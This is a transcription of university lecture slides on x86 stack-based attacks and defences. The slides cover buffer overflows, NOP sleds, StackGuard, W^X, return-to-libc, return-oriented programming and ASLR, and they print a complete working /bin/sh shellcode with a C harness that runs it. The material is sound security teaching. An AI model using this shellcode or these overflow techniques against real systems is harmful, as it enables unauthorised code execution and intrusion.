Architecture-level Security Vulnerabilities. Julian Stecklina

Similar documents
Architecture-level Security Vulnerabilities

Return-orientated Programming

The Geometry of Innocent Flesh on the Bone

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES

CSC 591 Systems Attacks and Defenses Return-into-libc & ROP

Buffer Overflow Vulnerability

Lecture 08 Control-flow Hijacking Defenses

This time. Defenses and other memory safety vulnerabilities. Everything you ve always wanted to know about gdb but were too afraid to ask

String Oriented Programming Exploring Format String Attacks. Mathias Payer

Buffer Overflow Vulnerability Lab Due: September 06, 2018, Thursday (Noon) Submit your lab report through to

Università Ca Foscari Venezia

Robust Shell Code Return Oriented Programming and HeapSpray. Zhiqiang Lin

Outline. Memory Exploit

Advanced Security for Systems Engineering VO 05: Advanced Attacks on Applications 2

Control Hijacking Attacks

Writing Exploits. Nethemba s.r.o.

Lecture 04 Control Flow II. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Based on Michael Bailey s ECE 422

Secure Programming Lecture 6: Memory Corruption IV (Countermeasures)

Security and Privacy in Computer Systems. Lecture 5: Application Program Security

The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32.

Exploiting Stack Buffer Overflows Learning how blackhats smash the stack for fun and profit so we can prevent it

Buffer Overflow Attack

Betriebssysteme und Sicherheit Sicherheit. Buffer Overflows

CSE 127 Computer Security

CSE 127 Computer Security

Software Security: Buffer Overflow Defenses

Is stack overflow still a problem?

CS4264 Programming Assignment 1 Buffer Overflow Vulnerability Due 02/21/2018 at 5:00 PM EST Submit through CANVAS

Buffer Overflow Vulnerability Lab

Topics. What is a Buffer Overflow? Buffer Overflows

Buffer overflow is still one of the most common vulnerabilities being discovered and exploited in commodity software.

CSE 127: Computer Security Control Flow Hijacking. Kirill Levchenko

CMPSC 497 Buffer Overflow Vulnerabilities

Exercise 6: Buffer Overflow and return-into-libc Attacks

CSE 127 Computer Security

Beyond Stack Smashing: Recent Advances in Exploiting. Jonathan Pincus(MSR) and Brandon Baker (MS)

Basic Buffer Overflows

CPEG421/621 Tutorial

Buffer Overflow Attack

ISA564 SECURITY LAB. Shellcode. George Mason University

Procedure Calls. Young W. Lim Mon. Young W. Lim Procedure Calls Mon 1 / 29

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows)

Countermeasures in Modern Operating Systems. Yves Younan, Vulnerability Research Team (VRT)

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts

Introduction to Reverse Engineering. Alan Padilla, Ricardo Alanis, Stephen Ballenger, Luke Castro, Jake Rawlins

Software Security: Buffer Overflow Attacks (continued)

CPS104 Recitation: Assembly Programming

Return oriented programming

CS 161 Computer Security. Week of January 22, 2018: GDB and x86 assembly

CSE 127: Computer Security. Memory Integrity. Kirill Levchenko

Roadmap: Security in the software lifecycle. Memory corruption vulnerabilities

Process Layout and Function Calls

Lecture 09 Code reuse attacks. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017

1 Lab Overview. 2 Resources Required. CSC 666 Lab #11 Buffer Overflow November 29, 2012

Software Security II: Memory Errors - Attacks & Defenses

Lecture 10 Return-oriented programming. Stephen Checkoway University of Illinois at Chicago Based on slides by Bailey, Brumley, and Miller

Introduction to Operating Systems Prof. Chester Rebeiro Department of Computer Science and Engineering Indian Institute of Technology, Madras

CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 21: Generating Pentium Code 10 March 08

Smashing the Buffer. Miroslav Štampar

2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks

Assembly Language: Function Calls" Goals of this Lecture"

Assembly Language: Function Calls. Goals of this Lecture. Function Call Problems

Buffer overflows & friends CS642: Computer Security

1 Recommended Readings

CSC 405 Computer Security Shellcode

Memory corruption countermeasures

idkwim in SecurityFirst 0x16 years old Linux system security researcher idkwim.tistory.com idkwim.linknow.

CS 161 Computer Security

Buffer Overflows Defending against arbitrary code insertion and execution

CSE 509: Computer Security

Exploits and gdb. Tutorial 5

Procedure Calls. Young W. Lim Sat. Young W. Lim Procedure Calls Sat 1 / 27

CNIT 127: Exploit Development. Ch 1: Before you begin. Updated

Assembly Language: Function Calls

Defense against Code-injection, and Code-reuse Attack

CS642: Computer Security

20: Exploits and Containment

Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40

CS241 Computer Organization Spring 2015 IA

Advanced Buffer Overflow

18-600: Recitation #4 Exploits

Assembly Language: Function Calls" Goals of this Lecture"

Vulnerabilities in C/C++ programs Part I

Return-Oriented Rootkits

Software Vulnerabilities August 31, 2011 / CS261 Computer Security

Lecture 9: Buffer Overflow* CS 392/6813: Computer Security Fall Nitesh Saxena

CSE 565 Computer Security Fall 2018

x86 assembly CS449 Fall 2017

CNIT 127: Exploit Development. Ch 14: Protection Mechanisms. Updated

Buffer overflows & friends CS642: Computer Security

Secure Systems Engineering

Secure Programming Lecture 5: Memory Corruption III (Countermeasures)

CS 241 Honors Security

Practical Malware Analysis

Sandwiches for everyone

Biography. Background

Software Security: Buffer Overflow Attacks

X86 Review Process Layout, ISA, etc. CS642: Computer Security. Drew Davidson

Computer Systems CEN591(502) Fall 2011

From Over ow to Shell

Transcription:

Architecture-level Security Vulnerabilities Julian Stecklina

Outline How stacks work Smashing the stack for fun and profit Preventing stack smashing attacks Circumventing stack smashing prevention

The Battlefield: x86/32 CPU EAX ESI 0xFFFFFFFF Kernel Address Space EBX ECX EDX EDI EBP 0xBFFFFFFF Stack General-purpose registers Instruction pointer BSS Data Segment, FPU, control, MMX, registers Text 0x00000000

The Stack Stack frame per function Set up by compiler-generated code Used to store Function parameters If not in registers GCC: attribute ((regparm((<num>)))) Local variables Control information Function urn address

Calling a function int sum(int a, int b) { urn a+b; } sum: movl 12(%ebp), %eax addl 8(%ebp), %eax popl %ebp int main() { urn sum(1,3); } main: subl $8, %esp movl $3, 4(%esp) movl $1, (%esp) call sum

Assembly recap'd %<reg> refers to register content Offset notation: X(%reg) == memory Location pointed to by reg + X sum: movl 12(%ebp), %eax addl 8(%ebp), %eax popl %ebp Constants prefixed with $ sign (%<reg>) refers to memory location pointed to by <reg> main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 Return Addr sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 Return Addr EBP (sum) sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 Return Addr EBP (sum) sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 Return Addr EBP (sum) EAX: 3 sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 Return Addr EBP (sum) EAX: 4 sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 Return Addr EAX: 4 sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

So what happens on a call? EBP EBP (main) 3 1 EAX: 4 sum: movl 12(%ebp), %eax addl 8(%ebp), %eax leave Stack main: subl $8, (%esp) movl $3, 4(%esp) movl $1, (%esp) call sum

Now let's add a buffer int foo() { char buf[20]; urn 0; } int main() { urn foo(); } foo: subl $32, %esp movl $0, %eax leave main: call foo popl %ebp

Now let's add a buffer EBP EBP (main) Return Addr EBP(foo) foo: subl $32, %esp movl $0, %eax leave buf Stack main: call foo popl %ebp

Calling a libc function int foo(char *str) { char buf[20]; strcpy(buf, str); urn 0; } int main(int argc, char *argv[]) { urn foo(argv[1]); } foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave

Calling a libc function EBP EBP (main) string ptr Return Addr EBP(foo) EAX foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave Stack

Calling a libc function EBP EBP (main) string ptr Return Addr EBP(foo) EAX foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave Stack

Calling a libc function EBP EBP (main) string ptr Return Addr EBP(foo) EAX: <string ptr> foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave Stack

Calling a libc function EBP EBP (main) string ptr Return Addr EBP(foo) EAX: <string ptr> foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave <string ptr> Stack

Calling a libc function EBP EBP (main) string ptr Return Addr EBP(foo) EAX: <buf ptr> foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave <string ptr> Stack

Calling a libc function EBP EBP (main) string ptr Return Addr EBP(foo) EAX: <buf ptr> foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave <string ptr> <buf ptr> Stack

Calling a libc function EBP (main) string ptr Return Addr EBP(foo) EBP RLD\0 O_WO HELL <string ptr> <buf ptr> Stack EAX: <buf ptr> foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave string = Hello world

Our first buffer overflow EBP (main) string R\0ptr Return TETU Addr EBP(foo) ONSE EBP T,_C _AME _SIT OLOR UM_D M_IPS LORE <string ptr> <buf ptr> Stack EAX: <buf ptr> foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave string = Lorem ipsum dolor sit amet, consetetur

Our first buffer overflow EBP (main) R\0 TETU ONSE EBP T,_C _AME _SIT OLOR UM_D M_IPS LORE <string ptr> <buf ptr> Stack EAX: <buf ptr> foo: subl $36, %esp movl 8(%ebp), %eax movl %eax, 4(%esp) leal -28(%ebp), %eax movl %eax, (%esp) call strcpy xorl %eax, %eax leave string = Lorem ipsum dolor sit amet, consetetur

Smashing the stack for fun and profit In general: find an application that uses 1) A (preferrably character) buffer on the stack, and 2) Improperly validates its input by using unsafe functions (strcpy, sprintf), or incorrectly checking input values 3) Allows you to control its input (e.g., through user input) Craft input so that it Contains arbitrary code to execute (shellcode), and Overwrites the function's urn address to jump into this crafted code

Relevance? 1988 Morris Worm 2003 Windows: Blaster, SQLSlammer 2003 MS Visual Studio introduces /GS 2008 Nintendo Twilight Hack for the Wii 2009 Conficker / 2010 Stuxnet

Shell code char *s = /bin/sh ; execve(s, NULL, NULL); movl $0xb, %eax movl <s>, %ebx movl $0x0, %ecx movl $0x0, %edx int $0x80 But where is s exactly?

Shell code problems With which address do we overwrite the urn address? Where in memory is the string to execute? How to contain everything into a single buffer?

Where to jump? Finding exact jump target can be hard: R E T Shell code NOP sled increases hit probability: R E T Shell code N N N N N... O O O O O... P P P P P

Determining string address Assumptions EBP Return Addr EBP(foo) We can place code in a buffer. We can overwrite urn address to jump to start of code. Then there is one register we can use to directly obtain addresses:.

Determining string address EBP Return Addr EBP(foo) mov $0xb, %eax push $0x2f736800 push $0x2f62696e mov %esp, %ebx mov $0x0, %ecx mov $0x0, %edx int $0x80 EAX: EBX: ECX: EDX:

Determining string address EBP Return Addr EBP(foo) mov $0xb, %eax push $0x2f736800 push $0x2f62696e mov %esp, %ebx mov $0x0, %ecx mov $0x0, %edx int $0x80 EAX: 0x000B EBX: ECX: EDX:

Determining string address EBP Return Addr EBP(foo) mov $0xb, %eax push $0x2f736800 push $0x2f62696e mov %esp, %ebx mov $0x0, %ecx mov $0x0, %edx int $0x80 /sh\0 EAX: 0x000B EBX: ECX: EDX:

Determining string address EBP Return Addr EBP(foo) mov $0xb, %eax push $0x2f736800 push $0x2f62696e mov %esp, %ebx mov $0x0, %ecx mov $0x0, %edx int $0x80 /sh\0 /bin EAX: 0x000B EBX: ECX: EDX:

Determining string address EBP Return Addr EBP(foo) mov $0xb, %eax push $0x2f736800 push $0x2f62696e mov %esp, %ebx mov $0x0, %ecx mov $0x0, %edx int $0x80 /sh\0 /bin EAX: 0x000B EBX: <str ptr> ECX: EDX:

Determining string address EBP Return Addr EBP(foo) mov $0xb, %eax push $0x2f736800 push $0x2f62696e mov %esp, %ebx mov $0x0, %ecx mov $0x0, %edx int $0x80 /sh\0 /bin EAX: 0x000B EBX: <str ptr> ECX: 0x0000 EDX:

Determining string address EBP Return Addr EBP(foo) mov $0xb, %eax push $0x2f736800 push $0x2f62696e mov %esp, %ebx mov $0x0, %ecx mov $0x0, %edx int $0x80 /sh\0 /bin EAX: 0x000B EBX: <str ptr> ECX: 0x0000 EDX: 0x0000

Containing everything Usual target: string functions: Copy string until terminating zero byte shell code must not contain zeros! However: mov $0x0, %eax 0xc6 0x40 0x00 0x00 Must not use certain opcodes.

Replacing opcodes Find equivalent instructions: Issue simple system calls (setuid()) that urn 0 in register EAX on success XOR %eax, %eax 0x31 0xc0 CLTD convert double word EAX to quad word EDX:EAX by signextension can set EDX to 0 or -1 Result: Contain all code and data within a single zeroterminated string.

Finally: working shell code! xor %eax, %eax cltd movb 0xb, %al push %edx push $0x68732f6e push $0x69622f2f mov %esp, %ebx mov %edx, %ecx int $0x80 0x31 0xc0 0x99 0xb0 0x0b 0x52 0x68 0x6e 0x2f 0x73 0x68 0x68 0x2f 0x2f 0x62 0x69 0x89 0xe3 0x89 0xd1 0xcd 0x80 char *code = \x31\xc0\x99\xb0\x0b\x52 \x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69 \x89\xe3\x89\xd1\xcd\x80 ; int (*shell)() = (int(*)())code; shell();

Preventing buffer overflows? Prevent malicious input from reaching the target Detect overflows Prevent execution of user-supplied code Negate shellcode's assumptions (Code sandboxing)

Restricting shellcode No NULL bytes Self-extracting shellcode Disallow non-alphanumeric input Encode packed shellcode as alphanumeric data Heuristics to detect non-textual data Encode packed shellcode into English-looking text [Mason09]

StackGuard Parameters Return address Local variables Overflowing buffer may overwrite anything above Idea: detect overflowed buffers before urn from function Buffer More Local variables Stack

StackGuard Parameters Return address Local variables Canary Buffer More Local variables Overflowing buffer may overwrite anything above Idea: detect overflowed buffers before urn from function Compiler-added canaries: Initialized with random number On function exit: verify canary value Stack

StackGuard Parameters Return address Overhead: Fixed per function [Cow98]: 40% - 125% Local variables Canary Buffer More Local variables Problem solved? Attacker has a chance of 1 in 2 32 to guess the canary Add larger canaries Attack window left between overflow and detection Stack

Stack Ordering Matters void foo(char *input) { void (*func)(char*); char buffer[20]; int i = 42; // function pointer // buffer on stack strcpy(buffer, input); // overflows buffer /* more code */ func(input); /* more code */ Overflow attack } StackGuard check

Example stack layout Parameters Overflowing buf will overwrite the canary and the func pointer Return address Local variables Func pointer StackGuard will detect this Canary But: only after func() has been called Buffer buf More Local variables variable i

Example stack layout Parameters Return address Canary Solution: compiler reorders function-local variables so that overflowing a buffer never overwrites a local variable Buffer buf GCC Stack smashing protection ( fstack protector ) Evolved from IBM ProPolice Local variables Func pointer Since 3.4.4 / 4.1 More Local variables variable i StackGuard + reordering + some optimizations

Fundamental problem with stacks User input gets written to the stack. x86 allows to specify only read/write rights. Idea: Create programs so that memory pages are either writable or executable, never both. W ^ X paradigm Software: OpenBSD W^X, PaX, RedHat ExecShield Hardware: Intel XD, AMD NX, ARM XN

A perfect W^X world User input ends up in writable stack pages. No execution of this data possible problem solved. But: existing code assumes executable stacks Windows contains a DLL function to disable execution prevention used e.g. for IE <= 6 Nested functions: GCC generates trampoline code on stack Dynamic languages

Circumventing W^X We cannot anymore: execute code on the stack directly We still can: Place data on the stack Format string attacks, non-stack overflows, Idea: modify urn address to start of function known to be available e.g., a libc function such as execve() put additional parameters on stack, too urn-to-libc attack

Chaining urns Not restricted to a single function: Modify stack to urn to another function after the first: Param 1 for bar <addr bar> Param 1 for foo Param 2 for foo <addr foo> And why only urn to function beginnings?

Return anywhere x86 instructions have variable lengths (1 16 bytes) x86 allows jumping (urning) to an arbitrary address Idea: scan binaries/libs and find all possible instructions Native RETs: 0xC3 RET bytes within other instructions, e.g. MOV %EAX, %EBX 0x89 0xC3 ADD $1000, %EBX 0x81 0xC3 0x00 0x10 0x00 0x00

Return anywhere Example instruction stream:.. 0x72 0xf2 0x01 0xd1 0xf6 0xc3 0x02 0x74 0x08.. 0x72 0xf2 jb <-12> 0x01 0xd1 add %edx, %ecx 0xf6 0xc3 0x02 test $0x2, %bl 0x74 0x08 je <+8> Three byte forward:.. 0xd1 0xf6 0xc3 0x02 0x74 0x08.. 0xd1 0xf6 0xc3 shl, %esi

Many different RETs Claim: Any sufficiently large code base e.g. libc, libqt,... consists of 0xC3 bytes == RET with sufficiently many different prefixes == a few x86 instructions terminating in RET (in [Sha07]: gadget) sufficiently many : /lib/libc.so.6 on Ubuntu 10.4 ~17,000 sequences (~6,000 unique)

Return-Oriented Programming Return addresses jump to code gadgets performing a small amount of work Stack contains Data arguments Chain of addresses urning to gadgets Claim: This is enough to write arbitrary programs (and thus: shell code). Return-oriented Programming

ROP: Load constant into register pop %edx 0x00C0FFEE Return Addr Stack EDX:

ROP: Load constant into register pop %edx 0x00C0FFEE Stack EDX:

ROP: Load constant into register pop %edx 0x00C0FFEE Stack EDX: 0x00C0FFEE

ROP: Add 23 to EAX (1) EAX: 19 EDX: 0 (4) ptr to 23 (3) (1) (2) (2) pop %edi (3) pop %edx EDI: 0 23 (4) addl (%edx), %eax push %edi

ROP: Add 23 to EAX (1) EAX: 19 EDX: 0 (4) ptr to 23 (2) pop %edi EDI: 0 (3) (1) (2) (3) pop %edx 23 (4) addl (%edx), %eax push %edi

ROP: Add 23 to EAX (1) EAX: 19 EDX: 0 (4) ptr to 23 (2) pop %edi EDI: addr of (1) (3) (1) (2) (3) pop %edx 23 (4) addl (%edx), %eax push %edi

ROP: Add 23 to EAX (1) EAX: 19 EDX: 0 (4) ptr to 23 (3) (2) pop %edi EDI: addr of (1) (1) (2) (3) pop %edx 23 (4) addl (%edx), %eax push %edi

ROP: Add 23 to EAX (1) EAX: 19 EDX: addr of '23' (4) ptr to 23 (2) pop %edi EDI: addr of (1) (3) (1) (2) (3) pop %edx 23 (4) addl (%edx), %eax push %edi

ROP: Add 23 to EAX (1) EAX: 19 EDX: addr of '23' (4) ptr to 23 (2) pop %edi EDI: addr of (1) (3) (1) (2) (3) pop %edx 23 (4) addl (%edx), %eax push %edi

ROP: Add 23 to EAX (1) EAX: 42 EDX: addr of '23' (4) ptr to 23 (2) pop %edi EDI: addr of (1) (3) (1) (2) (3) pop %edx 23 (4) addl (%edx), %eax push %edi

ROP: Add 23 to EAX (1) EAX: 42 EDX: addr of '23' (1) (4) ptr to 23 (2) pop %edi EDI: addr of (1) (3) (1) (2) (3) pop %edx 23 (4) addl (%edx), %eax push %edi

Return-oriented programming More samples in the paper it is assumed to be Turing-complete. Problem: need to use existing gadgets, limited freedom Yet another limitation, but no show stopper. Good news: Writing ROP code can be automated, there is a C-to-ROP compiler.

Preventing ROP Kernel Address Space ROP relies on code & data always being in same location Stack Code in app's text segment Return address at fixed location on stack BSS Libraries loaded by dynamic loader Data Text Idea: randomize address space layout

Address space layout randomization Kernel Kernel Kernel Kernel Stack Data Data Stack BSS Text Stack BSS Data BSS Data Text Text Text Stack BSS

ASLR Return-to-* attacks need to guess where targets are Implementation-specific limitations on Linux-x86/32 Can only randomize 16 bits for stack segment one right guess in ~32,000 tries Newly spawned child processes inherit layout from parent Guess-by-respawn attacks known

Things I didn't mention Using printf() to overwrite memory content Format string attacks Using malloc/free to modify memory Heap overflows C++ vtable pointers Heap spraying Kernel-level: rootkits x86 Sandboxing (SFI, XFI, NativeClient) Web-based attacks Next week

Conclusion It's an arms race. If it gets too hard to attack your PC, then let's attack your mobile phone Is all lost? - Maybe.

Exercise Next week (June 29th): 6 DS, E069 Hands-on session! You can use the shell and a text editor are able to write basic C programs understand stacks and pointers are not scared by x86 (AT&T-style) assembly

Further Reading http://www.snowplow.org/tom/worm/worm.html (1988 Morris worm) Phrack magazine http://phrack.org [Sha07] H. Shacham et al. The Geometry of Innocent Flesh on the Bone: Return-to-libc Without Function Calls (on x86) ACM CCS 2007 GCC stack smashing protection http://www.research.ibm.com/trl/projects/security/ssp/ [Cow98] C. Cowan et al. StackGuard: Automatic Adaptive Detection and Prevention of Buffer-overflow Attacks Usenix Security 1998 H. Shacham et al. On the Effectiveness of Address-Space Randomization ACM CCS 2004 [Mason09] J. Mason et al. English Shellcode ACM CCS 2009 B. Yee et al. Native Client: A Sandbox for Portable, Untrusted x86 Native Code IEEE Security&Privacy 2009

Further Reading Designing BSD Rootkits, Joseph Kong